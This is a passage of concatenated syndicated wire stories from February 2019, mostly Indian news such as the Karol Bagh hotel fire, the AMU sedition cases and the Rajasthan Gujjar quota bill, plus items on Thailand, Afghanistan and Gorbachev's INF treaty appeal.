"A three-member team of technical experts of the DGCA is investigating technical faults of the plane due to which the plane was forced to make an emergency landing on Saturday after it took off for Pithoragarh on Saturday( February 9,)" Singh said.

"After the investigation, the team will return to its headquarters in New Delhi and give decision after discussing problem from passenger safety point of view, till then the services will remain suspended," he said.

The investigation began after some flyers of the nine-seater aircraft complained that the aircraft had to be landed as its door opened in mid-air.

People in Pithoragarh protested and burnt effigies of local MLA and state finance minister Prakash Pant alleging that an old aircraft was operated on the route risking the lives of passengers.

(This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.)The Union Cabinet on Wednesday approved a series of agreements with foreign governments in the field of counter-terrorism, tourism and outer space.

The Cabinet approved MoU between India and Morocco for setting up of a joint working group (JWG) on counter-terrorism.

Setting up of the JWG would help cases relating to terrorist attacks. The MoU would be the basis for obtaining/ exchanging information on terrorist activities, an official statement said.

Another agreement with Finland, relates to cooperation in the field of peaceful uses of outer space. The MoU has already been signed in January here.

Two agreements with Argentina and Saudi Arabia were also cleared to promote tourism, the statement said.

(This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.)One way traffic from Jammu on the highway connecting Srinagar was allowed on Wednesday, a day after the strategic road linking Kashmir with rest of the country was cleared of snow, officials said.

The resumption of traffic on the 270-km highway after seven days closure came as a major relief to the stranded passengers and the people of Kashmir who were facing shortage of essential commodities.

The officials said two workers and a policeman were injured Tuesday when they were hit by stones from a hillock overlooking the highway at Maroog near Banihal.

Despite light snowfall and rains on Tuesday night, over 2,000 vehicles, including trucks carrying essentials like fuel, ration and vegetables, crossed Jawahar Tunnel after opening of the highway on Tuesday afternoon, they said.

Jawahar Tunnel area experienced a brief spell of snowfall last night, while light rains also lashed Banihal-Ramban stretch.

"The traffic was allowed to ply from Jammu to Srinagar while no vehicle was allowed from the opposite direction to ensure smooth movement of the vehicles," a traffic department official said.

He said the traffic on the highway was plying smoothly when last reports were received, with over 3,000 vehicles including 1,900 trucks carrying various commodities crossing Nashri Tunnel in Udhampur district till 6 am.

Adequate men and machinery were deployed in the 12-km problematic Ramsu-Panthiyal landslide zone to ensure least disruption on the highway, the official said.

(This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.)Academicians stressed on the need for inculcating entrepreneurship among the youth at the three-day "North Bihar Conclave" hosted by the Purnea University which concluded here on Wednesday.

A highlight of the conclave was setting up of an "entrepreneurship cell" at the Purnea University, in collaboration with Colorado-based "Youth Lab" founded by Bihar-born serial entrepreneur Ajay Jha.

Speaking on the occasion, Vice Chancellor of the Purnea University Rajesh Singh said, "Bihar is known for producing labourers on one hand, and bureaucrats on the other. The time has come to encourage entrepreneurship among the people here in view of the emerging international trends".

Jha said, "We would be working with the university to increase employability among the young generation. There is plenty of scope in areas like agro-based industries, textiles, fisheries, health care and IT sectors."



Among those who took part in the three-day conclave were Tanveer Alam, joint director of the Indian Institute of Packaging based in New Delhi, and vice-chancellors of various other universities.

(This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.)Three Indian-Americans are among six people convicted for their role in a two-year multi-million dollar money-laundering scheme, the US Justice Department has said.

Ravinder Reddy Gudipati, 61; Harsh Jaggi, 54 and Neeru Jaggi, 51, all from Laredo, Texas, were convicted of a money laundering conspiracy following a five-week jury trial.

Along with the Indian-American trio, Adrian Arciniega-Hernandez, 36, of Nuevo Laredo, Mexico; Adriana Alejandra Galvan-Constantini, 36 and Luis Montes-Patino, 57, both from Irving, Texas, were convicted, said Assistant Attorney General Brian Benczkowski of the Justice Department's Criminal Division.

Harsh and Adrian were also convicted on two counts of money laundering and Neeru Jaggi was convicted on one count of money laundering. Gudipati was convicted on two counts of money laundering in addition to other counts.

Adrain, Galvan-Constantini, Montes-Patino, Gudipati, Harsh and Neeru were part of a complex money laundering scheme whereby money derived from the sale of drugs in the US was laundered through businesses in Laredo in order to return the proceeds to Mexican drug dealers.

According to evidence presented in court, from 2011 to 2013, Galvan-Constantini, Montes-Patino and other co-conspirators helped to move millions of dollars derived from the sale of drugs throughout the US to Laredo in Texas.

The US currency was moved by couriers via cars, commercial buses, commercial planes and also a private plane used in bulk cash amounts of up to hundreds of thousands of dollars at a time.

The money, in heat sealed packs, uneven rubber-banded money stacks or loose US currency, arrived in plastic bags, cloth bags, suitcases, backpacks and even cereal boxes, it said.

The money was then distributed among downtown Laredo, Texas perfume stores, including stores owned by Gudipati and Harsh and Neeru.

(This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.)The Army flagged off a group of 20 village heads and ex-servicemen from the twin districts of Rajouri and Poonch in Jammu and Kashmir on Wednesday on a capacity-building tour to outside the state, a defence spokesman said.

During the 16-day tour to Pune, Chennai, Puducherry and New Delhi, the group will visit the model villages of Hiware Bazaar and Ralegaon Sidhi, where it will witness the implementation of the self-governance concept through the Panchayati Raj system, he added.

The Army spokesman said a close interaction of the group with anti-corruption crusader Anna Hazare was also being planned.

The group will next visit Chennai, where the "Unmukt" workshop will be held, he said, adding that the event will give the participants an opportunity to learn self-sustainability skills through group discussions and activities.

They would also be visiting the Sustainable Livelihood Institute in Puducherry, where a small workshop on the rural self-governance model would be conducted, he said.

The tour will conclude in New Delhi, where the participants will be accorded the privilege of meeting senior military and civil dignitaries, including the Chief of the Army Staff (CoAS), the Army spokesman said.

"The tour will also spread the message of goodwill in Rajouri and Poonch districts about the genuine efforts being undertaken by the Indian Army to overhaul the wisdom and awareness levels of the key stakeholders of the society and populace," he added.

(This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.)Two Hizbul Mujahideen terrorists, including one of the main recruiters of the outfit, were killed in an encounter with security forces in Jammu and Kashmir's Budgam district Wednesday, police said.

"Based on a credible input about the presence of terrorists in Gopalpora area of Chadoora in Budgam district, a cordon and search operation was launched in the intervening night (of Tuesday and Wednesday)," a police spokesman said.

He said when the search operation was underway, the terrorists fired on the security forces. The search party retaliated and it led to a gunfight in which the two were killed, he added.

The spokesperson said the duo have been identified as Hilal Ahmad Wani and Shoaib Mohammad Lone, alias Mursi.

"Incriminating material, including arms and ammunition, was recovered from the site of encounter," he said, adding that police have registered a case and initiated an investigation.

As per police records, the official said, both terrorists were affiliated to proscribed outfit Hizbul Mujahideen.

"They were wanted by the law for their complicity in a series of terror crimes, including attack on security establishments and civilian atrocities. Wani had a long history of terror crime records and was involved in several terrorist cases," he said.

"He was the main person responsible for recruitment into the terrorist fold and was the longest surviving terrorist who was operating across the southern and central belts of the valley ever since he had joined terrorist ranks in 2015. He was responsible for conspiring and executing many attacks on the security establishments in the valley," the spokesman added.

He said Lone was also "involved in several terror attacks and other civilian atrocities and several cases were registered against him".

"Lone was also part of groups involved in conspiring and executing attacks in the valley," the official added.

(This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.)Fourteen Aligarh Muslim University students, including their union chief, were booked under sedition charges after protests on the campus following reports of a planned visit by AIMIM lawmaker Asaduddin Owaisi, officials said Wednesday.

On Tuesday, some AMU students allegedly had an altercation with a TV channel crew which had come to film the visit that ultimately did not take place, they said.

The BYJM members held a separate demonstration against the visit, demanding that the MP should be banned from the campus.

The students were booked under sedition charges after a complaint was filed by Bharatiya Janata Yuva Morcha or BJYM activist Mukesh Lodhi, alleging that he was assaulted amid chants of pro-Pakistan slogans by some students, police said.

Protesting the police action, a "class boycott" call has been given by the students' union.

Security has also been beefed in the area and Rapid Action Force has been deployed around the campus amid other protests, including one in which a motorcycle belonging to an BJYM member was set on fire, a senior police officer said.

The main approach road leading to the university campus at IG Khan Crossing was closed by police as a precautionary measure.

Official sources said internet services will also be off in city.

ABVP activists staged a protest near the Faiz Gate of the university after some media reports claimed that Owaisi was invited to address a function organised by the AMU Students' Union.

They demanded that he be not allowed to enter the campus. Owaisi, however, did not turn up.

An AMU spokesman said a TV channel team, which had come to cover the anticipated event, had an altercation with some students while they were filming inside the campus.

The spokesman said the channel had not sought permission from authorities for live coverage and when the university staff pointed this out, there was a heated exchange in which some students were also involved.

The media persons claimed they were roughed up by some students while they were filming on the campus and their camera was smashed.

Complaints were lodged at the Civil Lines Police Station by both the AMU authorities and the TV channel crew.

A complaint was also filed by Bharatiya Janata Yuva Morcha members which alleged that they were beaten up near the Faiz Gate and a motorcycle, belonging to one of them, was set on fire.

It was not immediately clear if this incident was also related to Owaisi's visit.

Senior Superintendent of Police Akash Kulhari told PTI that a number of complaints were given by different groups at the Civil Lines police station and the police were in the process of filing the reports.

Meanwhile, a large group of students gathered at Bab-e-Syed Gate, demanding the suspension of Ajay Singh, a prominent ABVP leader who is a postgraduate student in the Faculty of Law.

He is the grandson of BJP MLA Dalvir Singh.

Late last night, cases under sections 124-A (sedition), section 307 (attempt to murder) and eight other sections of the IPC were registered against 14 students, including the president of students' union Salman Imtiaz and vice president Huzaifa Aamir on the complaint of BJYM's Mukesh Lodhi.

He alleged that when he was driving across the AMU Circle, these students surrounded him and launched a "murderous assault" and raised pro-Pakistan slogans.

Meanwhile, police confirmed that two more complaints were received at Civil Lines police station on behalf of AMU students and AMU officials.

An official said these reports were being examined and FIR will be filed "after due investigation".

AMU has issued an advisory to students, asking them "not to move out of campus as a precautionary measure".

(This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.)The Centre has identified over 100 coastal and marine sites as conservation reserves under its National Wildlife Action Plan for 2017-2031, a biennial report released by the government said.

As per the second biennial update report (BUR) of the Ministry of and Forests (MoEF), submitted to the UN body on climate change in December 2018, India is encouraging participation of local communities in governance by recognising the conservation reserves.

"India is implementing measures to sustainably harness the potential of blue economy while building the climate resilience of the ecosystems and local coastal communities. Around 106 coastal and marine sites have been identified as conservation or community reserves to increase participation of local communities in governance," it said.

Under the National Wildlife Action Plan for the period 2017 to 2031, the government is working towards the conservation of coastal and marine ecosystems from the impacts of climate change, the report said.

The government said in its report that in the last four and a half years, India has not only been able to sustain but also increase its mangrove cover at a time when these ecosystems are disappearing at an alarming rate across the world.

"Towards fulfilment of India's commitment to Sustainable Development Goals (SDGs), several initiatives have been taken to meet the targets set under SDG 14- Life Below Water," it said.

As per the report, India has rich coastal and marine wealth along the eastern and western coasts as well as the Andaman and Nicobar and Lakshadweep Islands.

"Dense mangrove forests of Sunderbans, which India shares with Bangladesh, world's largest congregations of nesting turtles in Odisha, beautiful seagrass beds in the Palk Bay, enigmatic sea cows in the Gulf of Mannar, majestic whale sharks frequenting the waters of the Gulf of Kutch and some of the world's most magnificent coral reefs in Gujarat, Maharashtra, Tamil Nadu, Andaman and Nicobar Islands and Lakshadweep are few examples of the rare treasures of India's coastal and marine biodiversity," the report said.

The coastal and marine sector is also a source of valuable fish protein not only for the growing population but also contributes to the global food basket and in turn provides valuable foreign exchange to the country, it said.

"India produced 3.8 million metric tonnes of seafood during 2017, valued at Rs 5.28 lakh million at landing centre and Rs 8 lakh million at the retail level. The fisheries sector supports around 9.3 lakh active and part-time fishers, one of the largest workforce of fishers in the world," the report said.

(This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.)Altogether 1,986 migrants of all religions from Pakistan and Afghanistan were granted Indian citizenship in the last three years, Parliament was informed on Wednesday.

Replying to a written question in the Rajya Sabha, Union Minister of State for Home Kiren Rijiju said according to the available data, 295 Hindus and Sikhs from Afghanistan and Pakistan were granted Indian citizenship since 2018.

"As per the data available online, 1,595 Pakistani and 391 Afghanistani migrants of all religions have been granted Indian citizenship in the last three years (2016 to 2018).

"The provision for capturing online citizenship data of migrants from minority communities namely Hindu, Sikh, Buddhist, Jain, Parsi and Christian hailing from Afghanistan, Pakistan and Bangladesh was introduced in 2018," he added.

(This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.)US Commerce Secretary Wilbur Ross' three-day visit to India starting Wednesday comes at a crucial time when American giants Walmart and Amazon are facing fresh difficulties after changes in the country's FDI norms for the e-commerce segment.

Sources said the US Secretary is likely to exert pressure on his Indian counterpart to make changes to the country's e-commerce policy in favour of the American giants Amazon and Walmart. The US retail giant Walmart is the majority stakeholder in the e-retail major Flipkart.

The new norms which prohibit the e-tailers from selling products of companies in which they have stakes came into effect on February 1 despite both Amazon and Walmart seeking a six-month delay in their implementation.

These norms released in December also prohibit the online retailers from mandating any company to sell its products exclusively on its platform. The new policy also noted that the online retail firms will not directly or indirectly influence sale price of goods and services and will maintain a level-playing field.

Beginning Thursday, Ross would co-chair the India-US CEO Forum with the Union Minister of Commerce and Industry Suresh Prabhu.

Announcing the delegation of 20 American CEOs accompanying him, Ross said: "The US-India CEO Forum is critical to the fruitful commercial relationship and strong economic ties between our two great nations."

"The incoming US CEOs will bring fresh perspectives to the Forum and help us consider new opportunities to further deepen our cooperation," he added.

The private sector American members or chiefs of the forum include CEO MasterCard Ajay Banga, Cisco System Chairman John Chambers, Qualcomm CEO Steve Mollenkopf and CEO, Hewlett Packard Enterprise Antonio Neri.

MasterCard has had its share of discomfort in the country of late with the Reserve Bank of India's (RBI) data localisation norms.

The Reserve Bank of India in April issued a new regulation, which came into effect from October 16, requiring payments companies to store all information about transactions involving Indians solely on computers in the country.

Both the major payment service providers MasterCard and Visa had initially resisted the move and sought an extension in the implementation of norms. They have, however, toed the RBI's line and have complied.

Twitter CEO Jack Dorsey is also grabbing headlines as he has been summoned by a parliamentary panel.

The US Commerce Secretary's visit is also likely to feature talks on the protectionist measures and ongoing trade tensions between the two countries.

Industry participants feel Ross's visit should also be an opportunity for the Indian government to discuss trade and tariff issues with the US administration.

--IANS

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(This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.)The Centre has decided to set up a national law university in Uttarakhand, an official statement said here on Thursday.

"Here is good news for all those youths who want to make a career in law. The Chief Minister (Trivendra Singh Rawat) has informed that the national law university will be opened in Uttarakhand," the statement said.

This is a big step toward making Uttarakhand a quality hub, it added.

Thanking Prime Minister Narendra Modi for giving his nod to open the law university in the state, Chief Minister Trivendra Singh Rawat said that the Modi has special love for Uttarakhand.

India has 21 national law universities, admissions to which are held through a Common Law Admission Test (CLAT).

--IANS

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(This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.)A Delhi Court on Wednesday allowed police to quiz for two days the General Manger and Manager of Hotel Arpit Palace here where a fire tragedy killed at least 17 people.

Metropolitan Magistrate Shilpi Jain allowed Delhi Police to question General Manager Rajender Kumar and Manager Vikas Kumar Takkal till Friday.

At least 17 people were killed when a major fire engulfed the hotel in the commercial-cum-residential district of Karol Bagh before dawn on Tuesday.

The court noted that the tragedy took place due to non-compliance of various norms of the Delhi Fire Service.

Police told the court that the hotel ran an illegal kitchen on the roof top and in the basement without permission.

The police said the accused were needed to be in custody to recover the guest register and to inquire about the sequence of the incident.

The court has sought a report from the police of the area asking it to mention the steps taken by them to prevent similar incidents in hotels.

Police have registered a case against the hotel owner Subhendu Goyal, who is absconding. He has been charged with culpable homicide not amounting to murder among others.

--IANS

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(This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.)The Tamil Nadu government is gearing up to meet the water shortage that may arise during summer this year and supply 550 million litres per day (MLD) water to Chennai.

The government plans to take measures like digging new borewells and deepening existing ones, supply of water through tankers, at an outlay of Rs 1,015.34 crore, said Tamil Nadu Municipal Administration Minister S.P. Velumani.

Replying to a special call attention motion, the minister said tenders have been invited to clean and supply 40 MLD water from two stone quarries to meet the requirement of Chennai city,.

Tenders have also been invited to dig nine borewells in Neyveli to supply 10 MLD water.

According to Velumani, steps are being taken to supply 90 MLD water from lignite mines in Neyveli and two river beds.

He said bids have been invited to set up water purification plants, supply of water from farm wells and for other projects.

Velumani said water from Krishna river in Andhra Pradesh is also expected to quench the city's thirst.

--IANS

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(This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.)Three women, all sisters, were burnt alive in a fire in their house in the walled city area here on Wednesday evening, police said.

Police is investigating the cause of the mysterious fire that charred the three sisters to death in Gali Mochian area near Hakima gate of the congested old city.

The victims were identified as Indu, 45, and her younger sisters Vandna and Preeti.

While Indu was married and living in Amritsar, her sisters were unmarried and had shifted with her recently from Delhi.

Amritsar's Additional Deputy Commissioner of Police J.S. Walia told media that the incident was being investigated for all three angles - accident, suicide or murder.

Forensic experts were called to collect samples from the spot.

Foul play has also not been ruled out. The house was found locked from inside.

Local residents said that that the fire brigade and police took time to reach the spot and the fire had spread by that time.

--IANS

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(This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.)Thailand's Election Commission announced on Wednesday that it is seeking the dissolution of a political party for nominating Princess Ubolratana Mahidol as its candidate for Prime Minister in the upcoming polls.

The poll body resolved on Tuesday to petition the Constitutional Court to take into consideration the dissolution of the Thai Raksa Chart Party. The commissioners primarily charged that party's nomination had violated Article 92 of the Constitution's organic law on political parties.

The party had on last Friday filed the nomination of Princess Ubolratana Mahidol for March polls. Following the poll body's announcement, the party vowed to fight the decision to dissolve the group.

The Election Commission was expected to send representatives to the Constitutional Court to submit the petition to dissolve the party on Wednesday, according to a statement cited by Xinhua news agency.

Late on Tuesday night, the Princess posted a message on Instagram to apologize for the controversy her nomination had caused. "I am sorry that my sincere intention to work for the country and my fellow Thai people has caused a problem that should never occur in our time", Ubolratana said.

The nomination of Ubolratana - who relinquished her royal titles in 1972 following her marriage to an American - caused a huge stir in Thailand, a country where the monarch is revered but whose members have traditionally stayed out of

The Princess' nomination was effectively blocked in a matter of hours last week when King Maha Vajiralongkorn called his sister's candidacy "extremely inappropriate".

Following that, the party announced the withdrawal of the princess' candidacy and on Monday the poll body confirmed her disqualification citing text from the royal statement, leaving Thai Raksa Chart without a prime-ministerial candidate.

The dissolution of the party would imply banning members of its executive from for 10 years and prevent them from contesting the upcoming elections on March 24, even as members of other parties, according to Efe news.

Thai Raksa Chart Party is linked to former Prime Minister Thaksin Shinawatra, whose Puea Thai Party has won every election held since 2001. But his growing power generated hostility within the Army and the Bangkok elite.

Thaksin was deposed in 2006 in a coup and has been living in self-imposed exile since 2008. His sister Yingluck won the 2011 elections, but her government was overthrown in another coup in 2014.

The March elections will be the first to be held in the country since 2014, when the vote was annulled by the Constitutional Court.

--IANS

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(Only the headline and picture of this report may have been reworked by the Business Standard staff; the rest of the content is auto-generated from a syndicated feed.)Ater a convincing 2-1 series victory over England at home, West Indies captain Jason Holder aims to make his side the No. 1 Test team in the world.

After years of being down in the dumps, the West Indies team, which is presently lying at the eighth spot in the ICC Test team rankings, seems to have rediscovered some of the spirit of their illustrious predecessors.

England came into the series as overwhelming favourites over the caribbean side after having whitewashed Sri Lanka 3-0 in their own den, and outclassing India 4-1 at home.

However, Joe Root's men were taken aback by the outcome of the opening two Tests, where they were humbled by 381 runs in the first game and then by 10 wickets in the second fixture before salvaging pride with a 232-run win the third and final affair.

"We need to continue to build and not rest on our laurels. Our number one goal is to be the No. 1 team in the world, so there is a lot to improve on," Holder was quoted as saying by the ICC.

Prasing his bowlers, who were the driving force behind their victory, Holder further said: "Our bowlers have done an outstanding job. It is up to our batsmen to contribute more."

Significantly, pacer Kemar Roach, who was adjudjed Man of the Series, led the charge, scalping 18 wickets in the just concluded three Tests.

However, it was the batsmen, who let the Carribean side down in the final Test.

With the Tests over, both the sides will now indulge in a five-match ODI rubber before the three-match Twenty20 International series.

--IANS

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(This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.)A day after a hotel in Karol Bagh, here, was gutted by fire, it was business as usual for the hotel staff in the area who greeted gaily, but not without a smidgen of disbelief that made itself apparent at the very mention of the terrible tragedy.

The soot-smeared ghost of Arpit Palace Hotel was an object of curiosity for the passers-by. They stopped to gawk at the building, and felt sorry for those who perished in the early Tuesday morning fire, the worst such in 22 years.

Those who could escape the tragedy returned on Wednesday to collect their belongings from the locked down hotel, which was guarded by three-four constables. One of those who came back was Ishaan, a 25-year-old man studying in Delhi, who lost his mother in the tragedy.

Ishaan came to collect his mother's belongings with H. R. Shah, his mother's colleague, who too was staying at the hotel, but in a different room. Unlike Rubia Jusafbhai, Shah was lucky to escape the fire.

Shah told IANS they will perform Rubia's last rites at Nizamuddin later in the day.

The staff in nearby hotels -- the centrally-located area houses around 200 hotels -- greeted guests with a practised charm, but calmmed up at the mention of the fire.

Though they insisted there has been no significant dip in the business, nor cancellations, expressions of concern on their faces were discernible.

"Few of my guests cancelled bookings today. I cannot ask them why they did it -- the reason is obvious. It's bad for business. It shouldn't happen to anyone," owner of Hotel Metro View, located just few yards away from the ill-fated Hotel Arpit Palace, told IANS.

He refused to share his name, but emphasised none of the hotels in the vicinity were engaged in any illegal activity. However, he worried about "people having this attitude as if we are rogues."

A number of Hotel Arpit Palace evacuees took shelter in his hotel. "I offered them tea, coffee, let them use the bathrooms. I did whatever I could," he said.

He said crucial time was lost in the rescue work because of the police barricade, which blocked the entry to Gurudwara Road -- where the hotel was located -- from Pusa Road.

Due to the barricade, fire tenders had to take U-turn from Pusa Road to reach the Jhandewalan roundabout, from where they took the Arya Samaj Road to come back to the Gurudwara Road -- a journey that must have taken more than 10 precious minutes.

Screams from the blazing hotel shattered the silence of the night, recalled a theatre artiste from Assam who was staying in the nearby Hotel Mid Town.

"I was woken up by the screams. It was terrifying. When we went outside to see it was only smoke in the lane. Then I heard a loud blast, must have been a boiler or something. We were so scared that we wanted to leave at night only and packed our bags," said Kismat from Guwahati who had come with her group to perform at the National School of Drama.

In the beginning, there was a lot of smoke coming out of the building and the scream of a man shouting for help, she recalled. "Suddenly the fire accentuated and the man panicked and jumped from the fourth floor of the hotel to his death," she said.

Suresh Kumar, a 45-year-old IRS officer, jumped to his death on the day of his marriage anniversary. He was one of the 17 victims of the fire.

The blaze was second worst since the 1997 Uphaar cinema hall fire, in which 59 people were asphyxiated to death during the showing of 'Border'.

-- IANS

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(This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.)The Afghanistan Attorney General's office on Wednesday began a probe against members of the Election Commission after they were sacked over complaints of misuse of authority during last year's parliamentary elections.

President Ashraf Ghani on Tuesday sacked all 12 members of the Election Commission, hours after signing a new law that is expected to reform the electoral system.

The Attorney General's office barred these officials from leaving the country while investigations were on. "All 12 former members and chairmen of the IEC and the Independent Electoral Complaints Commissions (IECC) have been put under a travel ban," Jamshid Rasouli, spokesperson for the Attorney General's office, told Efe news.

The Attorney General's Office assured that it will independently and impartially deal with the cases and maintain full transparency and will keep people informed of the proceedings, Rasouli said.

Presidential Palace spokesperson Haroon Chakhansuri said in a statement, "with the approval of amendment to the electoral law, all of the electoral commissioners, including heads of the IEC and the IECC are automatically dismissed with immediate effect," .

Ghani has allowed parties and civil society groups one week to nominate new Election Commission members.

The clamour for reforms became shrill following chaotic parliamentary elections, which were marred by allegations of fraud and other irregularities. Many voting centres opened hours late or did not open at all during the polls that had been postponed by three years.

The full results of elections held in October are yet to be announced.

Earlier this week, Ghani said he hoped to introduce more reforms to the electoral system and commissions to pave the way for transparent and fair presidential elections, scheduled later this year.

The amendment and sacking of the Election Commission members have come amid demands to postpone the July elections and form an interim government -- one of the main demands made by the Taliban as part of its ongoing peace talks with the US.

Ghani, who is opposed to the US-Taliban talks, says only the Afghan government should negotiate with the Taliban on behalf of the country and wants the election to go ahead as planned.

--IANS

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(This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.)Russian Foreign Minister Sergei Lavrov warned US Secretary of State Mike Pompeo against US intervention in the internal affairs of Venezuela, including the use of force.

Lavrov made the remarks during a phone conversation with Pompeo at the initiative of the US side, the Russian Foreign Ministry said in a statement on Tuesday.

Washington will face violations of international law if the United States intervenes, Lavrov told his counterpart, Xinhua news agency reported.

"The readiness to hold consultations on the Venezuelan theme in line with the principles of the UN (United Nations) Charter was expressed," the Russian statement read.

The Venezuelan crisis escalated after opposition leader Juan Guaido declared himself interim president during an anti-government rally on Jan 23, alleging that the government of President Nicolas Maduro is illegitimate.

The United States, among some other countries, has recognized Guaido's presidency, and US President Donald Trump has warned that "all options are on the table."

Maduro, in response, announced the severing of diplomatic and political ties with Washington.

--IANS

vin/

(This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.)Former Soviet leader Mikhail S Gorbachev called on Washington and Moscow to resume nuclear arms talks, warning of dangers of not doing so after President Donald Trump confirmed the USA plan to leave a key Cold War-era treaty.

Gorbachev (President of the USSR in 1990-1991) in an article on Wednesday for Russian newspaper Vedomosti said this after the US decision to withdraw from the Intermediate-Range Nuclear Forces Treaty, he had co-signed in 1987 with then US President Ronald Reagan.

"I regret that the tough domestic situation, which has been in place in the US over the recent years, has in fact resulted in disruption of dialogue between our two countries on all topics, including the nuclear weapons. It is time to get over the difficulties between the (US) political parties and start a serious conversation.

"I am sure that Russia will be ready for it", Gorbachev wrote in his column.

The treaty aimed to eliminate short-range missiles capable of striking up to 1,000 km and intermediate missiles capable of hitting up to 5,500 km.

Gorbachev said the US wanted to withdraw from the treaty to "get rid of all the restrictions in the arms sphere and gain absolute military supremacy... to impose its will globally", Sputnik news agency reported.

Calling it "an illusory goal, an impossible hope", he said the "hegemony of one country in the modern world was impossible".

Expressing concern over "dangerous, destructive tendencies in world politics", Gorbachev appealed to US Congress members to solve the impasse. "Nuclear war is unacceptable, there can be no winners. The treaty was a first step, followed by others (such as) the Strategic Arms Reduction Treaty (START) that had reduced the number of nuclear weapons in Russia and the US by more than 80 per cent," he said.

The former Soviet President said the de-escalation process not only affected nuclear weapons but also elimination of chemical weapons, while Eastern and Western European countries agreed on a radical reduction of armed forces and weapons.

This was "the peace dividend" that everyone, Europe especially, obtained with the end of the Cold War, he said.

Gorbachev defended Russia's standpoint as "an unambiguous position in favour of preserving the treaty". He also noted the US "refused to ratify the Nuclear Test Ban Treaty" and due to this 2002 unilateral decision, the Treaty on the Restriction of Anti-Ballistic Missile Systems (ABM) was terminated.

Warning the US, he said result of the current destructive turn would bring something completely different: "The destabilisation of the global strategic situation, a new arms race, increased chaos and unpredictability of world politics."

Gorbachev, meanwhile, welcomed European efforts to save the treaty as the EU called on the US "to ponder the consequences of withdrawing from the treaty for its own security, the security of its allies and the whole world".

--IANS

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(This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.)Congress President Rahul Gandhi on Wednesday urged Union Human Resource Development Minister Prakash Javadekar to restore the "200-point roster system" of reservation mechanism for faculties in universities.

Gandhi in a letter to Javadekar said the adoption of the "13-point roster system" in place of the earlier system, has "severely eroded" the spirit of reservation and called for bringing an ordinance to suspend all recruitment till the matter was resolved.

Under the new system each department is taken as a unit for implementing recruitment and reservation policy for teachers. Under the earlier system, the entire university was taken as an unit for reservation and recruitment.

"Thousands of SC, ST, OBC candidates aspiring to teach in colleges/universities will be denied the opportunity. The departure from the '200-point roster system' has led to widespread protests and deserves your urgent intervention," said Gandhi.

Gandhi also pointed out to Javadekar recently informing Parliament that of the 158 faculty posts advertised by the Central Universities of Tamil Nadu, Rajasthan and Punjab since March 5, 2018, not even a single post was reserved for SCs/STs under the '13-point' roster system.

"By your own ministry's admission, 43 posts would have been reserved for SCs/STs under the '200-point' system," wrote Gandhi.

Gandhi said: "It would be expedient to pass an ordinance at the earliest and suspend all recruitment pending resolution of this matter."

Besides the Congress, the Samajwadi Party, the Rashtriya Janata Dal and other opposition parties have demanded restoration of the earlier system, contending the new system deprives SCs, STs and OBCs of reservation benefits in higher institutions.

The new system has also faced stiff opposition from teachers.

They said as opposed to the earlier system, where 99 posts were reserved for SCs, STs and OBCs and 101 for the unreserved, under the new system only the first, second, third, fifth, and sixth posts will be unreserved in a department.

Also the fourth will be reserved for OBCs, the seventh for SCs, the 14th for STs and the eighth and 12th for OBCs, while the ninth, 10th and 11th will be unreserved.

The University Grants Commission (UGC) in March 2018 announced that a department should be considered the base unit to calculate number of teaching posts for the reserved categories following an order by the Allahabad High Court in April in 2017.

The matter is before the apex court with the Centre filing a petition seeking review of the top court's verdict, dismissing a petition pleading restoration of the earlier system.

--IANS

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(This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.)The Rajasthan government on Wednesday passed the Reservation Amendment Bill 2019 in the Assembly, which promises 5 per cent reservation to five communities, including Gujjars, in educational institutions and government jobs.

Besides Gujjars, the other four communities to benefit from the decision are Banjara, Gadia Lohar, Rebari and Gadariya.

The reservation bill came at a time when the Gujjars have been blocking rail and road traffic in many parts of the state demanding 5 per cent reservation in education and government jobs. Their agitation turned six-day-old on Wednesday.

Speaking after the passage of the bill, Deputy Chief Minister Sachin Pilot said the next step is to approach the Central government for an amendment in the Constitution which would make its implementation possible.

During the debate on the bill, Leader of Opposition Gulabchand Kataria said that Rajasthan is already giving 50 per cent reservation in the state, which is the ceiling on quota set by the Supreme Court. "When we were in power, we had also tried to get a similar bill passed. But, the court did not allow."

Responding to his query, Pilot said: "Two states in India -- Tamil Nadu and Maharashtra -- have crossed the ceiling of 50 per cent quota. Recently, the Central government also gave 10 per cent quota to the economically backward classes (EBCs), which yet again breaches the ceiling set by the apex court."

He said now the Rajasthan government would send it to the Centre for a constitutional amendment, the same way as they did for 10 per cent quota for the EBCs.

"Let the 200 MLAs elected by the people of the state stand united and give a message to the Centre that we want this constitutional amendment, and let the Central government under PM (Narendra) Modi get it passed," he added.

Many other MLAs in the Assembly also favoured asking the Centre for making a suitable amendment to implement the additional five per cent reservation.

However, former Education Minister and Bharatiya Janata Party (BJP) MLA Vasudev Devnani said that the last session of Parliament before general elections is also concluding on Wednesday, and the code of conduct shall be implemented in March.

"If the Congress wants Prime Minister Narendra Modi to pass this bill, they should elect him as PM of the nation again," Devnani added

Meanwhile, Gujjar Arakshan Sangharsh Samiti chief Col Kirori Singh Bainsla said they would discuss the bill with legal professionals and then decide on calling off the agitation.

--IANS

arc/nir

(This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.)Union Law Minister Ravi Shankar Prasad on Wednesday hit out at Congress President Rahul Gandhi, saying he was distributing fake facts based on lies and misrepresentation of facts on the 36 fighter jet deal with France.

